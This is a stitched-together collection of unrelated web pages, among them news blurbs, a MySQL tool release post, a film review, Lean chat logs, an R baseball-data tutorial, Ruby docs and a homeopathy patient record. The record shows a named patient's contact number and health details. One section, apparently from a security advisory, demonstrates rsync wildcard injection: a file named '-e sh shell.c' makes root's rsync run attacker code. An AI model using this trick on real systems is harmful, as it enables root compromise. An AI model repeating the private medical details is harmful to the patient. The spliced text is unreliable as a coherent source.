Nov. 25 (UPI) -- Authorities and wildlife rescuers were summoned to a home in India where a leopard chased a family dog inside the house.
Odd News // 14 hours ago
Lebanese town building Christmas tree from recyclable bottles
Nov. 25 (UPI) -- A Lebanese town is attempting a Guinness World Record by using tens of thousands of plastic bottles to build a giant Christmas tree sculpture.
Odd News // 15 hours ago
French zoo's red panda recaptured after about a week on the loose
Nov. 25 (UPI) -- Officials at a zoo in France said a red panda was captured in a resident's garden a little more than a week after escaping from its enclosure.
Odd News // 3 days ago
Army veteran wins lottery twice in two months
Nov. 22 (UPI) -- Retired Army veteran Andrei Jones of Greensboro, N.C., has won the lottery twice over the course of two months.
Odd News // 3 days ago
Deer rescued from plastic Halloween bucket in New York state
Nov. 22 (UPI) -- A deer in New York state was rescued from a plastic Halloween pumpkin after being spotted wandering for about four days with the container stuck over its snout.
Odd News // 3 days ago
Florida dog knocks car into reverse, drives in circles for an hour
Nov. 22 (UPI) -- Residents of a Florida neighborhood said a car that drove in circles in reverse for about an hour only had a single occupant -- a dog.


Toggle navigation
Ouranos Decision-making project
Home
About
Public
MH
HQ
Français
English
Sign In
Remember me
U
Uncertainties
L
Levers
L
Metrics
E
Expert Advice


Preferences
|
Sign Out
Edit your Profile
User's Email:
Change
Change Username
Change Password
Update
Go back
New Contact
Insert Person's email
Add the person
😀
😁
😂
😃
😄
😅
😆
😇
😈
😉
😊
😋
😌
😍
😎
😏
😐
😑
😒
😓
😔
😕
😖
😗
😘
😙
😚
😛
Leave the ocean
Select Image
*.jpg
Upload
Clear Profile Image
Go back


common_schema, revision 178 is now released, with major additions. This revision turns common_schema into a framework, rather than a set of views and functions.
common_schema provides with query scripting, analysis & informational views, and a function library, allowing for easier administration and diagnostics for MySQL. It introduces SQL based tools which simplify otherwise complex shell and client scripts, allowing the DBA to be independent of operating system, installed packages and dependencies.
There's no Perl nor Python, and no dependencies to install. It's just a schema.
Some highlights for the new revision:
- foreach(), aka $(): loop through a collection, execute callback commands per element.
- repeat_exec(): a repeat-until device: execute queries until some condition holds.
- exec_file(): execute files a-la SOURCE, but on server side
- Query analysis: analyze query text, view or routine definitions to detect dependency objects.
- Improvements to views and routines, new routines introduced.
Let's take a closer look:
rpbouman
I'm very happy to have Roland Bouman working on this project. He introduced some sophisticated code without which some functionality could not take place. I'm sure I don't need to introduce his great capabilities; I'll just pass the note that it is very good working with him!
foreach()
Introducing a looping device which can iterate a collection and execute callback commands.
What's a collection? A range of numbers; a set of constants; the result set of a SELECT query; tables in your database and more.
What is a callback? A query or set of queries to invoke on the specific elements in the collection. For example:
call foreach('table in sakila', 'ALTER TABLE ${schema}.${table} ENGINE=InnoDB ROW_FORMAT=COMPRESSED');
I'll publish dedicated posts on foreach(), aka $(), following this post. Official documentation is here.
repeat_exec()
Repeat executing queries in a given interval, until some condition holds.
What kind of condition? You can loop forever, or until a given time has passed, a given number of iteration has passed.
You can iterate until no rows are affected by your commands (your callbacks), or until some dynamic condition holds (a query evaluates to true).
For example: purge rows from a table until no more rows are affected; in interval of 3 second:
call repeat_exec(3, 'DELETE FROM test.event WHERE ts < CURDATE() ORDER BY id LIMIT 1000', 0);
Official documentation is here.
exec_file()
If you need to execute commands from a file, you usually invoke SOURCE:
mysql> SOURCE '/tmp/somefile.sql';
Or you invoke mysql client and redirect its input to read from file:
bash$ mysql some_db < /tmp/somefile.sql
SOURCE is a MySQL client command. The file must reside on your client. Running the mysql client is great, but you need to work it out from outside the server.
call_exec() will let you import a file on server side, from within the server:
call exec_file('/tmp/some_file.sql');
You will need to have the file readable; it is limited to 64K at this moment; it may not use DELIMITER, and it may not include dynamic SQL. These are the limitations.
Official documentation is here.
exec() / exec_single()
All of the above rely on the exec() / exec_single() routines, which dynamically execute a set of queries. One one hand, it's no big deal: they only have to use prepared statements in order to invoke the queries. But then, they knows how to parse multiple queries (find the ";" delimiter correctly), plus they allow for configuration: if you set @common_schema_dryrun, queries are not actually executes; just printed out. If you set @common_schema_verbose, queries are verbosed in addition to being executed. Since all execution routines rely on these,we get a standardized pattern.
Official documentation is here.
Query analysis
Query parsing routines allow for detection of dependencies within queries. While not full-blown SQL parser, these allow one to realize on which tables or routines a view depends on; or a routines depends on; or an event; or just any query.
These routines can analyze the text of not only a SELECT query, but also UPDATE, DELETE, CREATE, etc. They can read the code of a stored routines, including queries and control flow constructs; thus, they are also able to analyze events and triggers.
At this stage forward-dependencies resolution is supported. This can eventually lead to dependency graphs or to reverse-dependency resolution (i.e. "which view, routine, trigger or event depend on table t?")
Example:
mysql> call get_view_dependencies('sakila', 'actor_info'); +-------------+---------------+-------------+--------+ | schema_name | object_name | object_type | action | +-------------+---------------+-------------+--------+ | sakila | actor | table | select | | sakila | category | table | select | | sakila | film | table | select | | sakila | film_actor | table | select | | sakila | film_category | table | select | +-------------+---------------+-------------+--------+
The query analysis routines are in BETA stage.
Official documentation is here.
Test quite
common_schema is now tested. Not all code is as yet under tests; all new code is, and some of the older code. Work is in progress to add more and more tests.
Further changes:
- candidate_keys does not give higher score for PRIMARY KEYs any longer. It ranks all unique keys according to its own heuristic; it also provides with the is_primary and is_nullable columns.
- Added candidate_keys_recommended view, recommending best candidate key per table (while noting whether it qualifies as PRIMARY KEY in terms of NULLable columns).
- Added many text parsing and text manipulation routines, such as better trim, tokenizing, etc. Improved existing code significantly.
Get it
common_schema is available for downloaded. It is released under the BSD license, and is free.
I've put very hard work into common_schema's documentation. It is very thorough and provides with clear examples. The documentation is also available for download.
If you encounter problems, please report on the issues page.
common_schema is meant to be downloaded & installed on any MySQL server. It provides with general and essential functionality. Spread the word!
comments powered by Disqus


`Waking Ned' is Fun if Not Divine by Homer Yen (c) 1998
I suppose that when my best friend and I grow to be really old, I hope that our relationship will mimic that of Jackie's (Ian Bannen) and Michael's (David Kelly), two affable townspeople featured in a film called `Waking Ned Devine.' After many years on God's good green Earth, these elderly friends still possess a healthy appetite for fun and an undeniable boyish charm combined with patriarchal wisdom. But all that wisdom is about to fly out the window when something dramatic happens to their small rural Irish hamlet of Tullymore with a population of 52 people. You see, there was only one winner in the latest lottery drawing, and one lucky block in this town holds the winning ticket. Jackie and Michael want very much to share in a piece of this prize and begin a cunning little search to find out who the winner is. Perhaps by showering a little generosity on them first, the winner will reward them in kind. And after an exhausting search, they finally figure out on who they should focus their attention. Unfortunately, when they find the winner (Ned Devine), they see that he has just passed away. And if Ned himself doesn't claim the ticket, the prize will not be disbursed.
Now Jackie and Michael spring into action (or at least move as fast as two 70 year-olds can possibly move). They devise a play where Michael will assume the identity of Ned and claim the prize. But there are many obstacles that they have to overcome in order to pull it off. Most formidably, they'll have to convince the lottery officials to hand over the check. To do this, they'll need to dispose of the body; figure out a way to memorize Ned's personal information (date of birth, identification number, etc..), which is quite difficult for a man whose memory is ailing; and get the townsfolk to buy in on the plan.
Although this kind of premise could have easily lent itself to being some kind of silly slasher flick, what we actually get is a light-hearted story about two amiable fellows who try to do what they can to get the money. It's a buddy movie where life-long friends, with their limited abilities, do whatever they can to achieve a dream. But more than that, it's a quirky village comedy complete with it's assortment of eccentrics and crazies. Among Tullymore's population resides Lizzy Quinn, who is a witchy hag that likes to spread gloom; a substitute priest that tries to spread theology to a 9-year old boy who may be smarter than the priest can handle; and a handsome pig farmer who can't get the girl because of the way he smells. These are just some of the 52 people living in Tullymore whose lives will make you grin from beginning to end.
Grade: B
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Do not download from www.apache.org. Please use a mirror site to help us save apache.org bandwidth. Go here to find your nearest mirror.
Are available in the binaries/ directory. Every binary distribution contains an install script. See README for details.
For details on current releases, please see the Apache Tomcat Connectors Download Page.
Note; the -src.zip versions of Apache Tomcat Connectors are nearly identical to the .tar.gz versions. However, they offer the source files in DOS/Windows CR/LF text format, and include the Winows build files. These -src.zip files do NOT contain binaries! See the binaries/windows/ directory for the Windows binary distributions.
Only current, recommended releases are available on www.apache.org and the mirror sites. Older releases can be obtained from the archive site.
All of the release distribution packages have been digitally signed (using PGP or GPG) by the Apache Tomcat Group members that constructed them. There will be an accompanying distribution.asc file in the same directory as the distribution. The PGP keys can be found at the MIT key repository and within this project's KEYS file.
Always use the signature files to verify the authenticity of the distribution, e.g.,
% pgpk -a KEYS % pgpv tomcat-connectors-1.2.49-src.tar.gz.asc or, % pgp -ka KEYS % pgp tomcat-connectors-1.2.49-src.tar.gz.asc or, % gpg --import KEYS % gpg --verify tomcat-connectors-1.2.49-src.tar.gz.asc
We provide SHA512 hashes as an alternative to validate the integrity
of the downloaded files. The program sha512sum
is included
in many unix distributions. They are also available as part of GNU
Coreutils. Windows users can use Cyohash.


This was my attempt, in 2018, to provide a simple overview of the shapes of all 435 US Congressional Districts in one graphic. They are ordered from top left to bottom right in relation to how irregulalry they are shaped. This is not a partisan project but rather an attempt to visualise a lot of data in a clear, simple way.


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/lean-nightly.html ---
Is there a way to find out which commit yielded the latest nightly build without installing it? I used to go by the list of commits and select the latest green button but I seem to be missing some
https://github.com/leanprover/lean-nightly/tree/gh-pages/build
huh, why is the windows build missing there? I just built lean HEAD two hours ago
Nice! Thanks!
@Andrew Ashworth The Windows build is completely separate right now. This will change... soon
ah, that's interesting to know
This may be the most surprising thing I learned since I started Lean: there are academic people and software engineers that use Windows! Who could have guessed that?
Windows ... windows ... Isn't that the square thing on the wall when your lab is not in the basement?
No it's the thing that helps you refusing to help secretaries with their computer issues
Haha! Somehow, they always look at me with such anger when I ask them to fire up a bash shell and use apt-get to install a tool :stuck_out_tongue:
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


Rsync is "a fast, versatile, remote (and local) file-copying tool", that is very
common on Unix systems.
If we check 'rsync' manual page, we can again find options that can be abused for arbitrary
command execution.
Rsync manual:
"You use rsync in the same way you use rcp. You must specify a source and a destination,
one of which may be remote."
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
Let's abuse one example directly from the 'rsync' manual page.
Following example will copy all C files in local directory to a remote host 'foo'
in '/src' directory.
# rsync -t *.c foo:src/
Directory content:
[root@defensecode public]# ls -al
total 72
drwxrwxrwx. 2 user user 4096 Mar 28 04:47 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
Now root will try to copy all C files to the remote server.
[root@defensecode public]# rsync -t *.c foo:src/
rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.8]
Let's see what happened...
[root@defensecode public]# ls -al
total 76
drwxrwxrwx. 2 user user 4096 Mar 28 04:49 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rwxr-xr-x. 1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x. 1 user user 34 Oct 28 17:47 ado.php
-rwxr-xr-x. 1 user user 187 Oct 28 17:44 db.php
-rwxr-xr-x. 1 user user 201 Oct 28 17:43 download.php
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 user user 43 Oct 28 17:35 file1.php
-rwxr-xr-x. 1 user user 56 Oct 28 17:47 footer.php
-rwxr-xr-x. 1 user user 357 Oct 28 17:36 global.php
-rwxr-xr-x. 1 user user 225 Oct 28 17:37 header.php
-rwxr-xr-x. 1 user user 117 Oct 28 17:36 inc.php
-rwxr-xr-x. 1 user user 111 Oct 28 17:38 index.php
-rwxr-xr-x. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt
There were two files owned by user 'leon', as listed below.
-rw-r--r--. 1 leon leon 0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x. 1 leon leon 31 Mar 28 04:45 shell.c
After 'rsync' execution, new file shell_output.txt whose owner is root
is created in same directory.
-rw-r--r--. 1 root root 101 Mar 28 04:49 shell_output.txt
If we check its content, following data is found.
[root@defensecode public]# cat shell_output.txt
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Trick is that because of the '*.c' wildcard, 'rsync' got '-e sh shell.c' option
on command line, and shell.c will be executed upon 'rsync' start.
Content of shell.c is presented below.
[root@defensecode public]# cat shell.c
/usr/bin/id > shell_output.txt


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/Compilers.20meet.20Theorem.20Provers.20.40.20ETH.20Zurich.html ---
Dear Lean Community, we will be having a "Compiler meets Theorem Proving" social @ ETH Zurich next week Thursday.
https://www.meetup.com/llvm-compiler-and-code-generation-socials-zurich/events/cbffknyxmbrb/
With presentations from Johannes Hoelzl, Andreas Lochbihler, and Dmitriy Traytel. Feel very much invited to join in.
Do you plan to stream or record the presentations? Would be :fire:
We plan to record the presentations and put them on youtube.
Btw, we already have 36 registrations. Seems Lean, Johannes, and the other speakers indeed spiked quite some interest.
The videos are online: https://www.youtube.com/channel/UC64g7nvgO22-2Vg2iI-WDoA
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


After reseraching some opinions on JavaScript, I find that through the past few years the language has had its ups and downs among programmers. I found people who hated it, then switched camps to say it really wasn't all that bad. But JavaScript seems to have trumped naysayers as evidenced by it's popularity; despite a rocky start as a bulky, amatuer language, it has developed a reputation for awesomeness because of its ability to deliver interactive web content with little weight. Other developers praise its flexibility, its ubiquity and how the core concepts of JavaScript translate easily into other programming languages. Many JavaScript enthusiasts laud the use of JavaScript with other tools, including jQuery, Node and HTML5.
I came across this pretty nifty film in my research, build with HTML5 and JavaScript. The combo seems pretty awesome and powerful to me. Check it out here: The Trip
So I've read some complaints that JavaScript is sort of ugly and complicated. From my limited experience with Javascript and Ruby, I do have to say I prefer Ruby. Ruby to me is more readable and intuitive, but this is coming from a person who doesn't really know much about either so take that for what it's worth. I myself had a pretty rough week programming in JavaScript, as I found it pretty easy to make syntax mistakes and forget rather important details when typing. But generally I would agree that it is a pretty easily language to learn the basics of quickly, and I'm interested to dive in more.


{% extends "base.html" %} {% block body %}
Please submit a search term.
Set your search criteria by selecting from the categories on the left.


pitchRx
pitchRx
pitchRx
library(pitchRx)
dat <- scrapeFX(start="2008-01-01",
end="2013-01-01")
atbats <- dat$atbat
pitches <- dat$pitch
dat <- scrapeFX(start="2008-01-01",
end="2013-01-01"
tables = list(atbat = NULL,
pitch = NULL,
coach = NULL,
runner = NULL,
umpire = NULL,
player = NULL,
game = NULL))
urlsToDataFrame
can be used to manipulate any collection of XML files into a list of data frames.pitchRx
can easily produce two types of strikezone plots:Do umpires favor home (as opposed to away) pitchers?
Given the umpire has to make a decision, do home pitchers have a higher chance of receiving a called strike?"
A called strike is a case where the batter does not swing and the umpire declares the pitch a strike (which is a favorable outcome for the pitcher).
A ball is an instance where the batter doesn’t swing and the umpire declares the pitch a ball (which is a favorable outcome for the batter).
By restricting ourselves to these two outcomes, we condition upon a situation where the umpire has to make a binary decision about the pitch.
gam
from the mgcv
package to visualize the probability of a called strike (given the ump has to make a decision).pitchFX <- plyr::join(dat$pitch, dat$atbat,
by=c("num", "url"))
decisions <- subset(pitchFX, des %in%
c("Called Strike", "Ball"))
decisions$strike <- as.numeric(decisions$des ==
"Called Strike")
strikeFX(decisions, model=gam(strike~s(px)+s(pz),
family = binomial(link='logit')),
layer=facet_grid(.~stand))
We can also visualize the difference in probabilistic events by adding arguments to density1
and density2
.
Here we find the probability of a called strike during the top inning minus the probability of a called strike during the bottom inning (top inning == home pitcher).
strikeFX(decisions, model=gam(strike~s(px)+s(pz),
family = binomial(link='logit')),
density1=list(top_inning="Y"),
density2=list(top_inning="N"),
layer=facet_grid(.~stand))
strikeFX
is nice for visualizing a lot of data (we just visualized over 1.5 million pitches).
PITCHf/x can also be used to regenerate (approximate) pitch trajectories.
It isn’t straightforward to animate millions of pitch trajectories, so we usually restrict our focus to a few cases.
VishnuDarvish - a case study
*Created by Drew Sheppard @DShep25
dat <- scrapeFX(start="2013-04-24",
end="2013-04-24")
atbats <- subset(dat$atbat,
pitcher_name == "Yu Darvish")
Darvish <- plyr::join(atbats, dat$pitch,
by=c("num", "url"), type="inner")
Darvish
contains info on every pitch thrown by Yu Darvish on April 24th, 2013.animateFX
can be used in a similar fashion to strikeFX
for producing a series of plots that track pitch locations over time.
As the animateFX
animations progress, the pitches are being thrown directly towards you.
animateFX(Darvish, layer=list(theme_bw(),
coord_equal(),
facet_grid(.~stand)))
Real time animations are hard to digest!
Plotting that many pitches makes it even worse…
NormalizedPITCHf/x
typicalflight path)
animateFX(Darvish, avg.by="pitch_types",
layer=list(coord_equal(),
theme_bw(),
facet_grid(.~stand)))
Normalizedanimation
RH <- subset(Darvish, stand=="R")
interactiveFX(RH, avg.by="pitch_types")
strikeFX
and animateFX
pitchRx
.


{% extends 'layout.html' %} {% block title %}LaunchLab New Project{% endblock %} {% block head %} {% parent %} {% endblock %} {% block content %}
Create a profile for yourself
Public: Your profile will show up in public listings. Anyone can view your profile. Private: You won't show up in public listings, but people that you interact with will be able to see your profile.Hidden: Only administrators can see your profile, it will be hidden to all other users.


ArcGIS: Map and Story Tutorial
Part 1: Map
1.Open map creation under “Maps” in the menu.
2. Once the map is open, select “Base map” and choose the style you’d like to display.
For the purposes of this tutorial, we will be using Newspaper Map as it fits with the historical theme of our project.
3. Now, in order to add our points and information, we will head to “Add” on the options bar, and choose “Add Map Notes”
It will ask you to create a name and choose a template. You are free to just leave it like that if you don’t already have a template created. The name is for the purpose of naming the layer, so unless you have several layers of Map Notes, you can also just leave it as is and click “Create.”
4. Once your Map Notes have been created, find your location in the search bar. For the purposes of this tutorial, we are searching for the Motown Museum as that is the original home of the Motown Record Label.
5. When the map zooms into your location, you can then click “Add to Map Notes” and this will create a point at the location you need.
6. You can then click “Edit” and make any changes to that point, like changing the title, adding a description and even adding an image of the location.
You also have the option of changing the symbol style and color. When you’re done you can hit close and the information will save.
7. Repeat Steps 4-6 for as many locations as you need on your map.
8. After all of the points are on your map and you are ready to see what everything looks like, click “Details” and zoom out. You can click your points to ensure that your information is all correct.
9. For stylistic purposes, we are going to add a travel line to the map. Click “Edit” and click “Line.” Follow the pop-ups to connect your points.
10. Like with the points, you can also change the description and the style.
11.Finally, save your map. Give it a name and some tags and you’re done!
Part 2: Timeline with StoryMaps
1. Access Storymaps through https://storymaps.arcgis.com/stories
2.Begin with your details like title, subtitle, authors, etc. You can also change the design of the intro to the storymap.
3. For this tutorial, we are going to be using the third design and adding a background image
4. To add information, scroll down until you find a “+” and choose what kind of content style you would like to add. We will be using a sidecar.
5. Start your timeline in the sidecar. You can add titles, paragraphs, pictures, change the styles, etc.
6. To add another page, click the blue + on the bottom right-hand corner and repeat step 5 to continue adding information to your timeline. This is what a full timeline will look like.
7. To add your previously created map, click “Add Map” in a blank sidecar page and add your information like in the previous step.
8. Finally, once you have added your information, publish your timeline in order to share it and/or embed it somewhere else!


Cassandra
Installs Cassandra, DataStax Agent & OpsCenter on RHEL/Ubuntu/Debian.
Download as .zip
Download as .tar.gz
View on GitHub
Overview
This is a Puppet module for installing Cassandra by DataStax.
Links
https://forge.puppetlabs.com/locp/cassandra
https://github.com/locp/cassandra
https://github.com/locp/cassandra/wiki


| Class | Description |
|---|---|
| AbilityActivatedMessage |
Sent from client to server to tell it that the weapon has been fired.
|
| AbilityUpdateMessage | |
| AvatarStartedMessage | |
| AvatarStatusMessage | |
| ClientReloadingMessage | |
| DebuggingMessage | |
| EntityKilledMessage |
This is used to inform the client that an entity has been killed.
|
| EntityLaunchedMessage | |
| EntityUpdateData | |
| EntityUpdateMessage | |
| GameOverMessage | |
| GameSuccessfullyJoinedMessage | |
| GeneralCommandMessage | |
| GenericStringMessage | |
| JoinGameFailedMessage | |
| ModelBoundsMessage | |
| MyAbstractMessage | |
| NewEntityData | |
| NewEntityMessage | |
| NewPlayerRequestMessage | |
| PingMessage | |
| PlayerInputMessage | |
| PlayerLeftMessage | |
| PlaySoundMessage | |
| RemoveEntityMessage | |
| SetAvatarMessage | |
| SimpleGameDataMessage |
This is for sending from the game server to the clients
|
| TestMessage | |
| UnknownEntityMessage | |
| WelcomeClientMessage |
| Enum | Description |
|---|---|
| GeneralCommandMessage.Command |


This past summer I went interrailing for 15 days.
The countries I travelled to included Amsterdam, Berlin, Prague, Budapest and Croatia.
In each country we tried to visit as many tourist destinations as possible, for example the Berlin wall,
the old town in Prague and Anne Franks’ house in Amsterdam. We got to experience all different cultures
lifestyles and fashion in such a short period of time. As the name suggests we travelled by train to each new destination.
This proved to be more challenging then expected due to different
currencies and languages but it just made me appreciate different countries even more.


| Name: saraswathi old pt. beml layout. | Reg No: 15-7smmhc18 |
|---|---|
| Name : smt. Saraswati | |
| Age / Sex: 58/f | Contact No :9740083774 |
| Marital Status : ml- 35yrs | Date :09-08-15 |
| Occupation : housewife ( sslc) | Dr. pjfp |
Address : Thubrahalli … |
Itching skin gets eruptions urticaria rashes. Started from Thursday night (earlier she got it after delivery 20 days post delivery ).
Sometimes got it in middle bt very mild itching use to take penicillin injection and it use to go.
Hot water,morning, night couldn’t sleep due to itching.,
Gets burning after scratches.
From 2 years giddiness before diagnosing with sugar. <tea +++, gingelly seeds, coconut dry, kova sweets, only noticed from food otherwise not ther. > sitting must sit immediately if gets giddiness., if vomits bt doesn’t get.
Reeling sensation and feels like falling forward.
k/c/o dm 2 years. Had profuse urination and increased thirst that’s how came to know dm.
rx:1) sepia 200/opium 200/nux vom 30..4/4
2) rhus tox 30 qid for 4days. weeks.
Rubrum 1m 1 tab b/food night.
21-08-15: last time 2 days later had to take injection.
Rx: lach200+ antipyri30+apis1m – 4 pills sos.
12/09/15: GIDDINESS THURSDAY NT 3 AM. WHILE SLEEPING. CHURNING SENSATION IN ABDOMEN, EXCESSIVE SALIVATION AND THEN GIDDINESS. 10 MIN IT WAS THERE. MUST LIE DOWN. HAD COCONUT BURFI THAT DAY. FEELS LIKE WIL NEVER OPEN UP. IF TALKS LES FEELS NO PROBLem. TO AVOID BETTER KEEP QUIET.
RX: 1) COCCULUS200 – 1 DOSE WATER B/BRUSH. 110/80 MMHG.
2) PHYTUM 200 1 TAB NT B/FOO 21
3) DISK MNG AND NT. BF AND AF.
18/10/15: giddiness at times. Less than before. No rashes till now.
Rx: 1) cocculus 200- 4 pills mng.
2) conium 200 – night.
3) phytum 30 – tabs
15/11/15: giddiness <turning head slightly also. Dry skin <cold season. Had 3 yrs back. Now on allo rx. Frm 6-7 mnths agn started to come. Giddiness reduced to some extent .
Rx: 1) conium1m. 4 doses- sunday
2) cocculus 1m – 4 doses – Wednesday.
3)kali mur 200 – mng 4 pills b/food.
4) phytum tabs 30 nt b/food.
19/12/15: POSITIONAL VERTIGO. GIDDINESS REDUCED TO 50%. NOW BENDING AGG ANDTURNING HEAD FRM SIDES FEELS GIDDY. TEA AGG, OIL AGG,
RX: 1) NAT MUR 200 – MNG B/FOOD.
2) SEPIA 200 – AFTN B/FOOD.
3) FERR.MET 30 – BD A/FOOD.
SULPHUR 30 – BD.
4) RUB 30 – 1 TAB NT B/FOOD.
31/1/16: went to nature cure for some sugar treatment fr a week didn’t take any medicine. So on Friday got severe giddiness whole day. Even throwing her down. says she must take homoeo med or else on stopping imm attacks with giddiness. Gets sound in ears when she gets gddy.
Rx: 1) thuja 200 – 1 dose water b/brush .
2) ns 6x bid.
3) cicuta 200- nt.
9/3/16: one day didn’t take medicine that day had mild giddiness. Must take tablets to control her giddiness.
Rx: 1) thuja 1m – 1 dose- water b/brush
2) cicuta 200 – 4 nit b/food.
3) nat sulph 30 – bid.
4) rub 30 – 1 tab nt b/food.
16/4/16: better this time. B.p: 120/88mmhg.
Rx: cst.
Pl 4 pills sos giddiness.
31/7/16:
1.giddiness-starts with heat and dwindling in stomach
Rx:
1.china200+disk 4-4-4-4
2.r1m 15 tab mrng b/brush
3..pl200 4-0-4
r/a 15 days
23/9/16:
1.feeling better
Rx:
1. 1.china200+disk 4-0-4
2.r1m 60 tab mrng b/brush
3.eletrofil syrp 1-0-1
r/a 15 days
28/7/18
1.rt. side if turn giddiness and excessive salivation then also gets strong giddiness from 20 days.
Dry skin only. December more.
Rt.arm more pain. < lifting weights. From this yr feb.
Rx:
Nat sulph 1m – 3 doses 5 days once b/food. Mng
Kali phos 6x 4-0-4
Rub 15 - 1 dose night b/food.
Cocculus 1m – 4 pills sos. Giddiness.
11/1/19: weight loss. Dry skin also reduced. giddiness reduced but little is there.no other complaint.only frm 2 months had this problem. B.P. 110/80 mmhg.
Rx:
Thuja 1m – dose.
Nat sulph 1m – 4 doses – weekly water.
Kali phos 6x 4—4-4
Rub 30 – 1 dose – nt b/food.
Cocculus 1m – 4 pills sos – giddiness.
22/6/19: RECURRENCE OF SYMPTOMS AGAIN.
RX: Thuja 10m – 1 dose. STAT.
Nat sulph 1m /SEPIA 1M/COCCULUS1M – 4-4-4-4. 1ST/3RD WEEK.
Kali phos 6x 4-4-4
Rub 30 – 1 dose – nt b/food.
Cocculus 1m/BRYONIA 1M – 4 pills sos – giddiness.


College view
You can check the College information based on different attributes.
Categories
Overall
Region
Ranking


HelperFunctions holds miscellaneous functions - functions that really aren’t bound to a particular service, but are reused across multiple functions.
A constant that indicates that SSL should not be used when checking if a given port is open.
A regular expression that matches fully qualified domain names, used to parse output from describe-instances to see the FQDNs for machines currently running.
A regular expression that matches IPs or FQDNs. TODO(cgb): The FQDN_REGEX seems general enough to match all of these - replace this and IP_REGEX with FQDN_REGEX?
A regular expression that matches IP addresses, used to parse output from describe-instances to see the IPs for machines currently running.
The maximum amount of time, in seconds, that we are willing to wait for a virtual machine to start up, from the initial run-instances request. Setting this value is a bit of an art, but we choose the value below because our image is roughly 10GB in size, and if Eucalyptus doesn’t have the image cached, it could take half an hour to get our image started.
The amount of time that ::spawn_vms waits between each describe-instances request. Setting this value too low can cause Eucalyptus to interpret requests as replay attacks.
A constant that indicates that SSL should be used when checking if a given port is open.
In cloudy deployments, the recommended way to determine a machine’s true private IP address from its private FQDN is to use dig. This method attempts to resolve IPs in that method, deferring to other methods if that fails.
# File lib/helperfunctions.rb, line 138 def self.convert_fqdn_to_ip(host) return host if host =~ %r#{IP_REGEX}/ ip = self.shell("dig #{host} +short").chomp if ip.empty? Kernel.puts("couldn't use dig to resolve [#{host}]") abort("Couldn't convert #{host} to an IP address. Result of dig was \n#{ip}") end return ip end
Creates a new security group in the given cloud infrastructure and opens all the TCP, UDP, and ICMP ports within it. We open the ports under the presumption that the AppScale firewall rules will be applied to iptables to lock back down any ports that need not be open to the world.
# File lib/helperfunctions.rb, line 458 def self.create_appscale_security_group(infrastructure, group) self.shell("#{infrastructure}-add-group #{group} -d appscale 2>&1") self.shell("#{infrastructure}-authorize #{group} -p 1-65535 -P udp 2>&1") self.shell("#{infrastructure}-authorize #{group} -p 1-65535 -P tcp 2>&1") self.shell("#{infrastructure}-authorize #{group} -s <IP_ADDRESS>/0 -P icmp -t -1:-1 2>&1") end
Generates a new SSH key for use with the given cloud infrastructure. If the keyname was already in the system, this method removes it and adds a new one.
# File lib/helperfunctions.rb, line 426 def self.generate_ssh_key(outputLocation, name, infrastructure) ec2_output = "" loop { ec2_output = self.shell("#{infrastructure}-add-keypair #{name} 2>&1") break if ec2_output.include?("BEGIN RSA PRIVATE KEY") Kernel.puts("Trying again. Saw this from #{infrastructure}-add-keypair: #{ec2_output}") self.shell("#{infrastructure}-delete-keypair #{name} 2>&1") } # output is the ssh private key prepended with info we don't need # delimited by the first \n, so rip it off first to get just the key if outputLocation.class == String outputLocation = [outputLocation] end outputLocation.each { |path| fullPath = File.expand_path(path) File.open(fullPath, "w") { |file| file.puts(ec2_output) } FileUtils.chmod(0600, fullPath) # else ssh won't use the key } return end
Reads the given file and parses the X509 certificate data it contains.
# File lib/helperfunctions.rb, line 109 def self.get_cert(filename) return nil unless File.exists?(filename) OpenSSL::X509::Certificate.new(File.open(filename) { |f| f.read }) end
Given an array containing public and private IPs, separates them into one public IP array and a private IP array. Any private IPs are then checked to see if they resolve properly (which may fail in hybrid cloud deployments), and any private IPs that do not resolve are replaced with their public IP equivalents.
